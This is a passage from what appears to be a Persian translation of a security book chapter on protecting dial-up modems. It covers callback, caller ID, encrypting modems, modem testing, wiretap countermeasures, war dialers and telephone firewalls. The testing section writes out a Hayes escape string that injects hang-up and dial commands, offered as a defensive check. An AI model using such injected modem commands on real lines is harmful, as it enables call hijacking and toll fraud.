در سیستمهای امروزی تلفن، اگر مودم رایانهٔ خود را به یک خط تلفن خارجی متصل کنید، هر فردی در جهان می‌تواند با آن تماس بگیرد. هرچند نام کاربری و رمز عبور درجه‌ای از امنیت را بوجود می‌آورند، اما اشتباه‌ناپذیر نیستند. کاربران معمولاً رمزهای عبور ضعیف انتخاب می‌کنند، و حتی رمزهای عبور مناسب نیز بعضاً ممکن است با ابزار مخصوص کشف و یا حدس زده شوند. به همین دلیل انواع خاصی از مودمها و روشهای استفاده از آنها بوجود آمده که از رایانه‌ها در مقابل دسترسیهای غیرمجاز حفاظت بیشتری بعمل می‌آورد.

مودمهای مجهز به رمز عبور

این مودمها پیش از اتصال تماس‌گیرنده به رایانه، وی را ملزم می‌نمایند که یک رمز عبور وارد کند. مشابه سیستمهای رمزهای عبور معمولی، امنیتی که این مودمها ایجاد می‌کنند را نیز می‌توان با حدس پی‌درپی رمزهای عبور و یا افشای رمز عبور یک فرد مجاز برای یک فرد غیرمجاز، خدشه‌دار کرد. معمولاً این قبیل مودمها تنها می‌توانند یک تا ده رمز عبور را در خود ذخیره کنند. رمزهای عبور ذخیره‌شده در این مودمها نباید مشابه رمز عبور هیچیک از کاربران برای ورود به سیستم باشد.

تنظیم تماس بازگشتی

منظور از تماس بازگشتی تنظیماتی است که طبق آن شخصی از بیرون با دستگاه شما تماس می‌گیرد، به مودم متصل می‌شود، به نحوی هویت خود را معرفی می‌کند، و سپس سیستم آن ارتباط را قطع می‌کند و از طریق یک شمارهٔ از پیش تعیین‌شده با آن شخص تماس می‌گیرد. این روش می‌تواند امنیت را افزایش دهد، چراکه سیستم تنها با شماره‌های از پیش تأییدشده تماس خواهد گرفت و لذا مهاجمان نخواهند توانست سیستم را وادار کنند که با مودم آنها ارتباطی برقرار نماید. معمولاً تعداد شماره‌هایی که در بیشتر مودمهای اینچنینی می‌توانند ذخیره شوند محدود است.

برای صحت عملکرد، سیستمهای تماس بازگشتی باید تماس وارده را پیش از هر برقراری تماس کاملاً قطع کنند، اما با کمال ناباوری اینکار در برخی از خطوط تلفن می‌تواند بسیار دشوار باشد، و بنابراین بهتر خواهد بود که برای تماسهایی که از طرف سازمان برقرار می‌شود، از مجموعه مودمهای متفاوتی نسبت به تماسهای وارده استفاده گردد.

امکان خرابکاری در سیستم تماس بازگشتی که از دو مجموعه مودم مختلف استفاده می‌کند نیز وجود دارد. اگر مهاجم سوئیچ شرکت تلفن را دستکاری کرده باشد، می‌تواند روی شماره‌هایی که مودم برای تماس با آنها برنامه‌ریزی شده، یک سیستم

هدایت تماس[۲۳۸] نصب کند و تماسهای بازگشتی را به مودم خود منتقل نماید. تماسهای بازگشتی می‌توانند امنیت کلی سیستم را تقویت کنند، اما نباید بعنوان ابزار اصلی حفظ امنیت بر آنها تکیه کرد.

مودمهای رمزگذار

این مودمها که باید جفت‌جفت بکار روند، کلیهٔ اطلاعات ارسالی و دریافتی از طریق خطوط تلفن را رمزگذاری می‌کنند. مودمهای رمزگذار درجهٔ بالایی از امنیت را – نه تنها در مقابل افرادی که قصد دسترسی غیرمجاز دارند، بلکه حتی در مقابل استراق‌سمع تلفنی از روی سیم انتقال – ایجاد می‌کنند. برخی مودمهای رمزگذار حاوی کلید رمزنگاری از پیش تعیین‌شده هستند که تنها می‌تواند بصورت جفتی با یک مودم خاص دیگر کار کند. برخی دیگر نیز کلیدهایی دارند که می‌توانند طبق یک روال مشخص تغییر یابند تا سطح امنیت را ارتقا دهند. علیرغم تمام این موارد باید گفت که بسیاری از مزایای مودمهای رمزگذار را می‌توان با هزینهٔ کمتر و با استفاده از پروتکلهای رمزنگار – مثل SSH روی یک اتصال PPP – و مودمهای استاندارد هم بدست آورد.

هویت تماس‌گیرنده[۲۳۹]

در بسیاری از مناطق می‌توان از نوعی خدمات تلفنی اضافه به نام سرویس هویت تماس‌گیرنده استفاده کرد. همانطور که از نام آن پیدا است، این سرویس، شمارهٔ تلفن تماس‌گیرنده را مشخص می‌کند. معمولاً زمانیکه تلفن شروع به زنگ زدن می‌کند، این شمارهٔ تلفن روی صفحهٔ کوچکی در کنار دستگاه تلفن به نمایش در می‌آید. بسیاری از مودمها مستقیماً واجد قابلیت استفاده از این شماره هستند، و چنانچه بصورت صحیح پیکربندی و برنامه‌ریزی شوند می‌توانند هنگامیکه شمارهٔ تماس‌گیرنده را دریافت کردند، آنرا در اختیار رایانهٔ میزبان قرار دهند.

روشهای مختلفی برای یکپارچه کردن سرویس هویت تماس‌گیرنده با خدمات دسترسی از راه دور وجود دارد:

- برخی از سیستمهای دسترسی از راه دور می‌توانند طوری پیکربندی شوند که مستقیماً اطلاعات هویت تماس‌گیرنده را دریافت کنند و اطلاعات آنرا در کنار زمان برقراری تماس و نام‌کاربری ارائه‌شده به ثبت برسانند. بیشتر سیستمهای دسترسی از راه دور که می‌توانند با خطوط تلفن ارائه‌شده روی ISDN معمولی، ISDN PRI، و مدارهای T1 Flex-Path کار کنند، دارای قابلیت ثبت اطلاعات هویت تماس‌گیرنده در فایلهای RADIUS[۲۴۰] می‌باشند.
- پس از انجام حملات، استفاده از هویت تماس‌گیرنده برای ردیابی مهاجمان بسیار مفید خواهد بود. برخلاف نام کاربری و رمز عبور که ممکن است توسط یک فرد غیرمجاز دزدیده و استفاده شوند، اطلاعات هویت تماس‌گیرنده در اکثر قریب به اتفاق موارد مشخص‌کنندهٔ منبع واقعی حمله می‌باشد.
- اگر سیستم دسترسی از راه دور شما فاقد قابلیت هویت تماس‌گیرنده است، می‌توانید روی همان خط یک مودم دیگر بصورت موازی با مودم اول نصب کنید، رایانهٔ خود را طوری برنامه‌ریزی کنید که در زنگ سوم یا چهارم به مودم اول پاسخ دهد، و از یک برنامهٔ ثالث و مودم دوم برای ثبت هویت تماس‌گیرنده استفاده نمایید. در اینحالت لازم است که این دو فایل ثبت را خودتان بصورت دستی و یا با استفاده از یک ابزار مخصوص با یکدیگر ترکیب کنید.
- سیستم ISDN و چند سیستم دیگر تلفنی، قابلیت دیگری به نام *گروههای تماس محدود*[۲۴۱] نیز ارائه می‌دهند. این قابلیت شما را قادر می‌کند که بتوانید فهرستی از شماره‌تلفنها مشخص سازید که مجاز به برقراری تماس با مودم هستند و پس از فعال شدن این قابلیت، تمام تماس‌گیرنده‌های دیگر مسدود خواهند شد.

---

238 *Call Forwarding*

239 *Caller-ID*

۲۴۰ *سرویس تصدیق هویت کاربر در تماس از راه دور (Remote Authentication Dial-In User Service :RADIUS)، پروتکلی است که به سرویس‌دهنده‌های پایانه‌ای اجازه می‌دهد هویت کاربران تلفنی را با استفاده از یک پایگاه دادهٔ راه دور تصدیق کنند. این پروتکل در RFC شمارهٔ ۲۱۳۸ توضیح داده شده است.*

241 *Restricted Calling Groups*

خدمات تلفنی پیشرفتهٔ اینچنینی تنها می‌توانند به اندازهٔ زیربنای شبکهٔ تلفنی خود امن باشند. بسیاری از سیستمهای تلفنی شرکتها به مشترکین اجازه می‌دهند تا اطلاعات هویت تماس‌گیرنده که روی دستگاه تلفن به نمایش در می‌آید را خودشان تعیین کنند؛ و بدین ترتیب مهاجمانی که کنترل سیستم تلفنی شرکت را در دست بگیرند می‌توانند آنرا بگونه‌ای برنامه‌ریزی نمایند که هر شمارهٔ دلخواه آنها را به نمایش در آورد، و لذا در اینصورت قادر هستند از سد هر سیستم امنیتی که تنها به هویت تماس‌گیرنده و یا گروههای تماس محدود متکی باشد عبور کنند.

طرحهای مداخلهٔ فیزیکی

زمانیکه مودم به یک سخت‌افزار وصل می‌شود تا برای مسئولان فنی خارج از اداره امکان پشتیبانی و رفع اشکال از راه دور فراهم کند، مطمئناً باید از وصل شدن کاربران غیرمجاز به این مودمها و تغییر پیکربندی تجهیزات خود جلوگیری نمایید. یک روش ساده و کارآ این است که خط تلفن را از مودم قطع کنید و از مسئولان فنی بیرون اداره بخواهید که قبل از شروع کار خود با متصدی تلفن تماس بگیرند و از او بخواهند که سیم تلفن را به مودم وصل کند (و یا حتی بصورت برعکس، تا از احتمال انجام حملات مهندسی اجتماعی کاسته شود). سپس متصدی تلفن، خطوط تلفنی را به مودم وصل می‌نماید تا این افراد بتوانند کار خود را انجام دهند (و اینکار خود را در دفتر ثبتها مندرج می‌سازد) و پس از انجام‌شدن کار نیز مجدداً سیم را از مودم قطع می‌کند.

خطوط تلفنی یکطرفه

بسیاری از ادارات، مودمها و خطوط تلفنی خود را طوری پیکربندی می‌کنند که هم بتوانند با آنها تماس تلفنی را آغاز کنند و هم بتوانند تماسهای دریافتی را پاسخ دهند. این روش ممکن است به نظر یک روش اقتصادی برای استفادهٔ حداکثر از مودمها و خطوط تلفن بیاید، اما متضمن مخاطرات امنیتی زیادی است. از مودمهایی که توانایی برقراری تماس دارند ممکن است برای برقراری تماسهای رایگان و البته در حقیقت به خرج شما استفاده کرد. وقتی روی مودم، هم آغاز تماس و هم پاسخگویی به تماسهای دریافتی ممکن باشد، دستکاری و سوء استفاده از سیستم تماس بازگشتی یا اشغال خطوط تماس می‌تواند امنیت شما را خدشه‌دار کند.

درصورتیکه از مودمهای جداگانه‌ای برای آغاز تماس و دریافت تماس استفاده کنید، امنیت سیستم شما ارتقا پیدا می‌کند. در بیشتر اداره‌ها هزینهٔ برقراری خطوط تلفنی اضافه در مقایسه با کارآیی و امنیت آن بسیار ناچیز است.

علاوه بر این موارد، می‌توانید هر از چندگاه پیکربندی خطوط تلفن خود را کنترل کنید تا از صحت نکات زیر مطمئن شوید:

- مطمئن شوید در آندسته از خطوط تلفن که قرار نیست با آنها بتوان تماسهای راه دور برقرار کرد، امکان انجام اینکار وجود ندارد. شاید اصلاً لزومی نداشته باشد که خطوط تلفن عادی شما قابلیت برقراری تماس راه دور داشته باشند.
- مطمئن شوید با استفاده از خطوط تلفنی که تنها برای تماسهای دریافتی بکار می‌روند نمی‌توان تماسی با خارج از سازمان برقرار کرد.
- مطمئن شوید خطوط تلفنی که از آنها تنها برای آغاز تماس استفاده می‌شود نمی‌توانند دریافت‌کنندهٔ هیچ تماسی باشند. "هدایت تماس" قابلیتی است که می‌توان از آن به این منظور استفاده نمود.

حفاظت از مودمها و خطوط تلفن

هرچند حفاظت فیزیکی مودمها و خطوط تلفن معمولاً نادیده گرفته می‌شود، اما باید گفت که پرداختن به آن به اندازهٔ ایمن کردن رایانه‌ای که مودمها و خطوط تلفن به آن متصل هستند مهم است. رعایت نکات زیر را هرگز از یاد نبرید:

دسترسی فیزیکی به خطوط تلفنی خود را تحت نظر داشته باشید

مطمئن شوید که خطوط تلفنی شما از نظر فیزیکی امن هستند. تمام جعبه‌تقسیمها را قفل کنید و سیمهای تلفنی را در سیمپوشهای مخصوص الکتریکی قرار دهید که درون دیوارها و یا حداقل در یک محفظهٔ قفلدار باشد. مهاجمی که به خط تلفن شما دسترسی فیزیکی داشته باشد می‌تواند مودم خود را به آن متصل کند و تماسهای تلفنی شما را پیش از آنکه به رایانهٔ شما برسند از آن خود نماید، و سپس با گمراه کردن کاربران، نام کاربری و رمز عبور آنها را بدست آورد. همچنین مهاجم ممکن است بجای دزدیدن تماسهای تلفنی، آنها را فقط تحت نظر بگیرد و با اینکار نسخه‌ای از تمام اطلاعات ارسالی روی آن خط تلفن از هر دو سمت را جمع‌آوری و برای خود نسخه‌برداری کند. در اینصورت مهاجم نه‌تنها رمزهای عبور سیستم شما، بلکه رمز عبور تمام سیستمهایی که کاربر به آنها متصل می‌شود را بدست خواهد آورد.

اطمینان یابید که خطوط تلفنیِ مخصوص دریافت تماس، اجازهٔ هدایت تماس را نمی‌دهند

اگر سیستم تلفن شما قابلیت هدایت تماس داشته باشد، مهاجم می‌تواند با دستکاری در پیکربندی، تمام تماسهای دریافتی را به شمارهٔ مورد نظر خود منتقل کند. اگر در این شمارهٔ جدید، رایانه‌ای قرار گرفته باشد که رفتار آن مثل سیستم شما تنظیم شده باشد، ممکن است کاربران فریب بخورند و نام کاربری و رمز عبور خود را وارد نمایند.

از شرکت تلفن خود بخواهید قابلیت پرداخت شخص ثالث را برای سیستم شما غیرفعال کند

بدون وجود قابلیت پرداخت شخص ثالث، افراد نمی‌توانند هزینهٔ تماسهای خود را به گردن خط تلفن مربوط به مودم شما بیندازند.

استفاده از یک خط استیجاری مستقیم مخابراتی را مد نظر داشته باشید

اگر همهٔ استفادهٔ شما از مودم به یک محل بیرونی خاص مربوط می‌شود، به فکر اجارهٔ یک خط مستقیم مخابراتی باشید. خطوط استیجاری مستقیم (leased lines)، مدارهای اختصاصی میان دو نقطه هستند که توسط شرکت مخابرات ارائه می‌شوند و مثل کابلهای اختصاصی عمل می‌کنند که نمی‌توان از آنها برای آغاز یا دریافت تماس استفاده کرد. بنابراین استفاده از چنین خطی شما را قادر می‌کند که بتوانید تماس خود با آن ادارهٔ بیرونی را حفظ کنید، اما درعین حال اجازه نمی‌دهد کسی با مودم شما تماس بگیرد و سعی در نفوذ به سیستم شما نماید. غالباً خطوط استیجاری مستقیم هزینهٔ بیشتری از خطوط معمولی دارند، اما امنیت زیاد آنها می‌تواند بعنوان جبران این هزینه درنظر گرفته شود. این خطوط یک مزیت دیگر هم دارند و آن اینکه معمولاً انتقال داده از طریق آنها بسیار سریعتر از انتقال داده از طریق خطوط معمولی تلفن است.

آزمودن مودمها

پس از اتصال مودم، باید توانایی آن در برقراری و دریافت تماس را بطور کامل بیازمایید. اول مطمئن شوید که مودم در شرایط عادی بصورت صحیح عمل می‌کند. پس از آن اطمینان حاصل کنید در حالتی که حادثهٔ غیرمنتظره‌ای رخ می‌دهد، رایانه بصورت واکنش قابل قبولی دارد. بعنوان مثال اگر ارتباط تلفنی قطع شود، رایانه باید تمام پردازه‌های مربوط به آن ارتباط تلفنی را از حافظه و کاربر مربوطه را از سیستم خارج کند، نه اینکه اجازه دهد تماس‌گیرندهٔ بعدی به *دستورپرداز*[۲۴۲] کاربر قبلی دسترسی داشته باشد. بیشتر این آزمایشها بمنظور کسب اطمینان از ارسال صحیح سیگنالهای کنترلی مودم به رایانه است (بطوریکه رایانه همواره از برقرار بودن تماس اطلاع دارد)، و نیز اینکه رایانه با در اختیار داشتن این اطلاعات، از خود رفتار صحیحی نشان می‌دهد.

آزمون شروع

درصورتیکه مودم خود را برای برقراری تماس تنظیم کرده‌اید، لازم است بررسی کنید که هم در زمان ایجاد و هم در زمان قطع تماسها، بصورت صحیح عمل می‌کند. برای آزمودن مودم، باید با رایانهٔ دیگری که از قبل می‌دانید بدرستی رفتار می‌کند تماس

بگیرید. (با همان رایانه‌ای که می‌خواهید از آن تماس را ایجاد کنید تماس برقرار نسازید؛ چراکه در اینصورت اگر مشکلی بوجود بیاید متوجه نخواهید شد که اشکال کار از کجا است.)

عملیات آزمون را بدینصورت انجام دهید:

۱. سعی کنید با استفاده از یک برنامهٔ شبیه‌ساز پایانه، با یک رایانهٔ راه دور تماس بگیرید. هر بار که رایانه پاسخ می‌دهد قاعدتاً یک *اعلان ورود*[۲۴۳] دریافت می‌کنید. در این مرحله شما باید قادر باشید از راه دور به رایانه وارد شوید و طوری از آن استفاده کنید که گویی مستقیماً به آن متصل هستید.
۲. اتصال با رایانهٔ راه دور را با درآوردن سیم تلفن از مودمی که ارتباط را برقرار کرده قطع کنید. برنامهٔ پایانه باید متوجه قطع‌شدن اتصال بشود.
۳. بار دیگر با رایانهٔ راه دور تماس بگیرید و با خاموش کردن مودم اتصال را قطع کنید. مجدداً برنامه باید متوجه موضوع بشود.
۴. مجدداً با رایانهٔ راه دور تماس بگیرید. اینبار همینطور که اتصال تلفنی برقرار است از برنامه خارج شوید. در اینحالت مودم باید بطور خودکار ارتباط را با رایانهٔ راه دور قطع کند.
۵. برای آخرین بار با رایانهٔ راه دور تماس بگیرید. اینبار اتصال را بصورت نرم‌افزاری و با kill کردن پردازهٔ پایانه در رایانهٔ خود (یا از پایانه‌ای دیگر و یا با استفاده از برنامهٔ Task Manager در سیستمهای تحت Windows) قطع کنید. باز هم مودم باید بطور خودکار ارتباط با رایانهٔ راه دور را قطع نماید.

سایر مواردی که در مورد برقراری تماس می‌توانید کنترل کنید به شرح زیر هستند:

- اطمینان حاصل کنید که هیچ راهی برای ورود به حالت برنامه‌ریزی مودم با فرستادن *رشته‌های فرار*[۲۴۴] وجود ندارد. یک رشتهٔ فرار، دنباله‌ای از کاراکترها است که به شما اجازه می‌دهد کنترل مودم را بدست گرفته و آنرا برنامه‌ریزی کنید. مثلاً بیشتر مودمهایی که از سری دستورات "AT" (که توسط شرکت سازندهٔ مودم Hayes طراحی شده) استفاده می‌کنند، با دریافت یک وقفهٔ سه‌ثانیه‌ای، ارسال سه علامت مثبت (کاراکتر پیش‌فرض فرار) بصورت پشت سرهم؛ و یک وقفهٔ سه‌ثانیه‌ایِ دیگر، به حالت برنامه‌ریزی می‌روند. اگر مودم شما در واکنش به این ورودی پاسخ "OK" بدهد، در اینصورت با دریافت یک رشتهٔ فرار قابل برنامه‌ریزی می‌باشد. بسیاری از برنامه‌های کنترل مودم تحت UNIX رشتهٔ فرار مودم را غیرفعال می‌کنند. اگر این قابلیت فعال نشده باشد، در برخی از مودمها دریافت رشتهٔ "+++\rATH0;ATDT611" باعث می‌شود مودم اتصال فعلی را قطع کرده و با شمارهٔ "۶۱۱" که شمارهٔ بین‌المللی تعمیر تلفن است تماس بگیرد. (در برخی از مودمها باید میان "+++" و "\r" یک مکث سه‌ثانیه‌ای وجود داشته باشد و در برخی خیر، چراکه فاصلهٔ سه‌ثانیه‌ای توسط Hayes به ثبت رسیده و بسیاری از تولیدکنندگان مودم تصمیم گرفته‌اند که از آن استفاده نکنند.)
  چنانچه قابلیت رشتهٔ فرار مودم غیرفعال نیست، مستندات مودم خود را بخوانید و یا با فروشندهٔ آن تماس بگیرید تا روش غیرفعال کردن آنرا بیاموزید. در انجام این گام ممکن است مجبور شوید کاراکترهایی را در فایل پیکربندی نرم‌افزار مودم خود تغییر دهید.

- بررسی کنید که آیا مودم دسترسیهای همزمان را بدرستی از یکدیگر جدا می‌کند یا خیر. مطمئن شوید که هیچ راهی برای کاربران وجود ندارد که بتوانند به مودمی که درحال حاضر مورد استفادهٔ کاربر دیگری است دسترسی یابند.

اگر پس از قطع‌شدن تلفن، برنامهٔ پایانه از حافظه خارج نشود و یا اگر با فرستادن یک رشتهٔ فرار امکان بازگشت مودم به حالت برنامه‌ریزی وجود داشته باشد، ممکن است کاربر بتواند تماسهایی برقرار کند که هیچیک به ثبت نرسند. این کاربر حتی ممکن است

243 *Login Prompt*
244 *Escape Sequences*

بتواند مودم را طوری برنامه‌ریزی مجدد کند که بدون توجه به اینکه قرار بوده با چه شماره تلفنی تماس بگیرد، با یک شماره‌تلفن خاص دیگر تماس حاصل کند. از طرف دیگر ممکن است یک اسب تراوا نیز عملیات کاربران شما را دنبال کند.

درصورتیکه مودم پس از خروج برنامه از حافظه اتصال را قطع نکند، ممکن است باعث شود صورتحسابهای تلفن بسیار سنگین شوند و از آن مهمتر اینکه ممکن است کاربری که درحال استفاده از رایانهٔ راه دور بوده، همچنان در آن بصورت *واردشده*[۲۴۵] باقی بماند و در اینصورت کاربر بعدی ممکن است به حساب کاربر قبلی رایانهٔ راه دور دسترسی پیدا کند.

آزمون پاسخ

برای آزمایش قابلیت پاسخ‌دهی رایانه، به یک رایانه یا پایانهٔ دیگر با یک مودم ثانویه برای برقراری تماس با رایانهٔ خود نیاز دارید. آزمایش را بصورت زیر انجام دهید:

۱. با رایانهٔ خود تماس بگیرید. رایانهٔ شما باید در چند زنگ اول به تماس پاسخ دهد و یک *پیغام ورود*[۲۴۶] به نمایش درآورد. اگر مودم شما برای کار با چند baud-rate تنظیم شده باشد، ممکن است لازم باشد یک کلید خاص (معمولاً دکمه‌های Break یا Linefeed) را چندبار بفشارید تا baud-rate مودمِ پاسخ‌دهنده، با مودمی که از طریق آن تماس را برقرار کرده‌اید هماهنگ گردد. چنانچه از مودمی استفاده می‌کنید که baud-rate را بطور خودکار تنظیم می‌کند انجام اینکار لازم نیست.

۲. مطابق معمول به رایانه وارد و سپس از آن خارج شوید. پس از انجام اینکار رایانه باید تماس تلفنی را قطع کند.

۳. مجدداً با رایانهٔ خود تماس بگیرید و بار دیگر به آن وارد شوید، و اینبار ارتباط را با بیرون کشیدن سیم تلفن از مودم تماس‌گیرنده قطع کنید. انجام اینکار قطع ناگهانی اتصال را شبیه‌سازی می‌کند. سپس با همان شمارهٔ قبلی با رایانهٔ خود تماس بگیرید. حال باید یک پیغام ورود جدید دریافت کنید، و بهیچوجه نباید مجدداً به ادامهٔ نشست یا پوستهٔ قبلی بازگردید؛ چراکه پردازهٔ مربوط به آن پوسته باید بلافاصله پس از قطع ارتباط از بین رفته باشد. وقتی ارتباط تلفنی قطع می‌شود سیستم باید بصورت خودکار کاربر را از حالت ورود خارج سازد. در غیراینصورت اگر تلفن بطور اتفاقی قطع شود و شخص دیگری با رایانه تماس بگیرد، خواهد توانست مشابه یک کاربر مجاز دستوراتی را به اجرا درآورد، بدون اینکه بخواهد حتی به سیستم وارد شود و یا رمز عبوری وارد کند.

۴. اگر چند مودم دارید که به یک گروه از مودمها متصلند (بصورتیکه اولین مودم اشغال‌نشده به تماس تلفنی پاسخ می‌دهد و تمامی تماسها به یک شمارهٔ واحد انجام می‌گیرد)، مطمئن شوید که این سامانه بدرستی عمل می‌کند. بسیاری از این سیستمها بدرستی عمل نمی‌کنند که نتیجهٔ آن این است که تماس‌گیرندگان حتی هنگامیکه خط بعضی از مودمها مشغول نیست، بوق اشغال بشنوند. برخی از این گروهها درصورتیکه هنگام جستجو بدنبال مودم اشغال‌نشده به یک مودم خراب برسند، جستجو را متوقف می‌کنند و بدین‌ترتیب سایر مودمهای گروه همواره بلااستفاده خواهند ماند.

حفاظت در مقابل استراق‌سمع

مودمها در معرض استراق‌سمع هستند. مودمهای قدیمی‌تر از جمله مودمهای داده‌ای و نیز بسیاری از فکس‌مودمها که با سرعت کمتر از ۹۶۰۰ بیت بر ثانیه کار می‌کنند، براحتی با استفاده از سخت‌افزارهای آماده در بازار می‌توانند مورد شنود قرار بگیرند. مودمهای با سرعت بالاتر از طریق ابزارهای پیچیده‌تری استراق‌سمع می‌شوند که هرچند کمتر در دسترس قرار دارند، اما با حداکثر چند هزار دلار قابل تهیه می‌باشند.

---

245 Logged In
246 Banner

انواع استراق‌سمع

در یک مکالمهٔ تلفنی روی یک مودم اساساً شش نقطه وجود دارد که می‌تواند مورد استراق‌سمع قرار بگیرد. در طرف شما مهاجم می‌تواند یک ضبط صوت و یا یک مودم دیگر بصورت موازی با ابزارهای مورد استفادهٔ شما قرار دهد. کمی آنطرفتر خارج از پنجره این امکان وجود دارد که بتوان با تحلیل چشمک‌زدنهای چراغ ارسال و دریافت دادهٔ مودم، اطلاعات منتقل شده از طریق آنرا مشخص کرد. میان محل استقرار شما و دفتر مرکزی شرکت مخابرات، ممکن است از سیمها یک شاخهٔ اضافه خارج شود. در مرکز سوئیچ شرکت مخابرات، یک برنامه‌نویس می‌تواند یک فرستندهٔ غیرقابل ردیابی به سوئیچ رایانه‌ای متصل و یا بصورت دستی یک سیم روی سوئیچ نصب نماید. چنانچه تماس تلفنی از طریق ماهواره و یا امواج مایکروویو مسیریابی شود، این امواج رادیویی را می‌توان رمزگشایی کرد؛ و درنهایت اینکه در مقصد تماس تلفنی می‌توان یک دستگاه استراق‌سمع نصب نمود.

مقابله با استراق‌سمع

اقدامات مختلفی با درجات اثرگذاری متفاوتی وجود دارند که می‌توانید در مقابله با استراق‌سمع الکترونیکی از آنها بهره بگیرید:

سیم تلفن خود را بصورت بصری مورد بررسی قرار دهید

بدنبال سیمهای اضافی، فرستنده‌ها و یا جعبه‌های ناآشنا و غریب باشید. بیشتر شنودهایی که افراد ناشی برای انجام آن تلاش می‌کنند به آسانی قابل کشف هستند.

خط تلفن خود را بصورت الکترونیکی "جاروب"[۲۴۷] کنید

یک تکنسین ماهر با استفاده از دستگاه سنجش بازتاب سیگنال می‌تواند سیمهای اضافی و اتصالات چندگانه را در خطوط تلفن تشخیص دهد. اتصالات کشف‌شده ممکن است نشانهٔ استراق‌سمع باشند یا نباشند. در بعضی مناطق بسیاری از سیمهای تلفن انشعابهای چندگانه به سمت همسایگی‌های مختلف آن منطقه دارند. چنانچه تصمیم به پویش خطوط خود گرفتید، باید اینکار را هر از چندگاه تکرار کنید. کشف تغییرات در خطوط تلفنی که در طول زمان تحت نظر بوده‌اند آسانتر از این است که بخواهیم تنها یکبار به یک سیم تلفن نگاه کنیم و بفهمیم که آیا انشعاب اضافه دارد یا نه.

با جاروب کردن سیمها ممکن است نتوان بعضی از انواع استراق‌سمع را کشف کرد – مثل شنودهایی که توسط شرکت مخابرات برای دایرهٔ اجرای قوانین و یا سایر سازمانها اجرا می‌شود.

استفاده از رمزنگاری

بهترین راه حفاظت ارتباطات از استراق‌سمع این است که همواره فرض کنید ابزار ارتباطی شما مورد سوء استفاده قرار دارد و بعنوان یک اقدام پیشگیرانه برای جلوگیری از شنود، تمامی اطلاعات خود را رمزنگاری کنید. اگر برای اتصال به اینترنت از ارتباط تلفنی استفاده می‌کنید، می‌توانید از پروتکلهای مبتنی بر رمزنگاری مثل SSL و SSH استفاده کنید تا یک مانع رمزنگاری که از سیستم رایانهٔ شما تا سرویس‌دهنده راه دور کشیده شده است ایجاد کرده باشید. سیستمهای VPN مانند *پروتکل تونل‌کشی نقطه به نقطه*[۲۴۸] (PPTP) و IPSec نیز می‌توانند برای رمزنگاری تمامی ارتباطات میان رایانهٔ شما و سرویس دهندهٔ راه دور بکار روند.

چند سال قبل تلفنها و یا مودمهایی که قابلیت رمزنگاری داشتند تنها برای مشتریان خاصی وجود داشت و قیمت آنها نیز بیش از هزار دلار بود، اما امروزه دستگاههایی با قیمت کمتر از ۳۰۰ دلار وجود دارند که می‌توانند بعنوان واسط میان رایانه و مودم قرار گیرند و یک ارتباط تلفنی رمزنگاری‌شدهٔ ایمن را ایجاد کنند. بیشتر این سیستمها بر اساس رمزنگاری کلید خصوصی کار می‌کنند و کاربر سیستم را ملزم می‌کنند که برای هر کاربر یک کلید جداگانه بفرستد. در عمل چنین محدودیتهایی برای اکثر سازمانها مشکلی ایجاد نمی‌کند. در عین حال تعداد فزاینده‌ای از سیستمهای کلید عمومی وجود دارند که علیرغم پدید آوردن یک سطح کاراً از

247 Sweep
248 Point-to-point tunneling protocol

ایمنی، استفاده از آنها نیز ساده است. همچنین مودمهایی با قیمت مناسب وجود دارند که دارای توابع رمزگذاری داخلی هستند و برای کار نیازمند هیچ قطعهٔ خاص دیگری نمی‌باشند.

جلوگیری از اتصال مودمهای غیرقانونی از طریق پویش تلفنی و دیواره‌های آتش

بسیاری از سازمانها سیاستهایی دارند که طبق آن نصب و بکارگیری مودمها بدون مجوز مدیر امنیت سازمان ممنوع است. در اینصورت هر مودم مجاز هر از چندگاه ممیزی می‌شود تا اطمینان حاصل شود که بدرستی پیکربندی شده و پیغام ورود، نام کاربری، رمز عبور و سایر تنظیمات آن منطبق بر سیاستهای سازمان هستند.

از آنجا که نصب مودم کار بسیار ساده‌ای است، در بسیاری از سازمانها مودمهایی وجود دارد که خود سازمان از آنها بی‌خبر است. دو روش برای مقابله با تهدیدات این مودمهای به اصطلاح بی‌خانمان وجود دارد: پویش تلفنی، و دیواره‌های آتش تلفن.

پویش تلفنی

شما می‌توانید برای یافتن مودمهای ناشناخته و غیرمجاز از یک برنامهٔ پویشگر تلفن بهره بگیرید. پویشگر تلفن برنامه‌ای است که بطور خودکار در یک محدودهٔ از پیش تعیین‌شده با تمام شماره‌ها تماس می‌گیرد و پیغام ورود سیستمهای پاسخ‌دهنده را ثبت می‌کند. برخی از پویشگرهای تلفن را می‌توان بگونه‌ای برنامه‌ریزی کرد که سعی کنند با استفاده از یک فهرست از نامهای کاربری و رمزهای عبور از پیش تعیین‌شده به سیستمهای رایانه‌ای که پیدا می‌کنند نفوذ نمایند. پویشگرهای تلفن بصورت رایگان و تجاری و با قابلیتهای مختلف وجود دارند. علاوه بر این برخی از شرکتهای مشاور رایانه‌ای، پویش تلفن را بعنوان بخشی از یک عملیات ممیزی امنیت انجام می‌دهند.

دیواره‌های آتش تلفنی

در بعضی مواقع خطر نفوذ با استفاده از مودم چنان بالا است که یک پویش ساده برای یافتن مودمهای غیرمجاز کافی نیست. شاید بهتر باشد در چنین شرایطی از دیواره‌های آتش تلفنی برای افزودن یک لایهٔ بیشتر به تماسهای تلفنی میان سازمان خود و جهان خارج بهره بگیرید.

مشابه یک دیوارهٔ آتش اینترنتی، دیوارهٔ آتش تلفنی نیز وسیله‌ای است که میان سیستم تلفن شما و مدار ارتباطی بیرونی قرار می‌گیرد. بطور معمول یک دیوارهٔ آتش تلفنی دارای تعدادی پورت برای خطوط تلفنی دیجیتالی T1 است، و بجای وصل کردن یک PBX به T1 شرکت مخابرات، PBX به دیوارهٔ آتش تلفنی وصل می‌شود و دیوارهٔ آتش به T1های خارجی.

یک دیوارهٔ آتش تلفنی، محتوای هر مکالمهٔ تلفنی را تجزیه و تحلیل می‌کند و درصورتیکه روی خطوطی که قرار نیست بعنوان مودم استفاده شوند متوجه صدای مودم گردد، تماس را پایان می‌دهد و رخداد را ثبت می‌نماید. دیوارهای آتش تلفنی را همچنین می‌توان برای کنترل دستگاههای فکس، تماسهای تلفنی ورودی، و نیز حتی استفادهٔ غیرمجاز از تماسهای راه دور و یا خدمات تلفنی که هزینهٔ تماس را بحساب تماس‌گیرنده می‌گذارند بکار برد.

محدودیتهای پویش تلفنی و دیواره‌های آتش

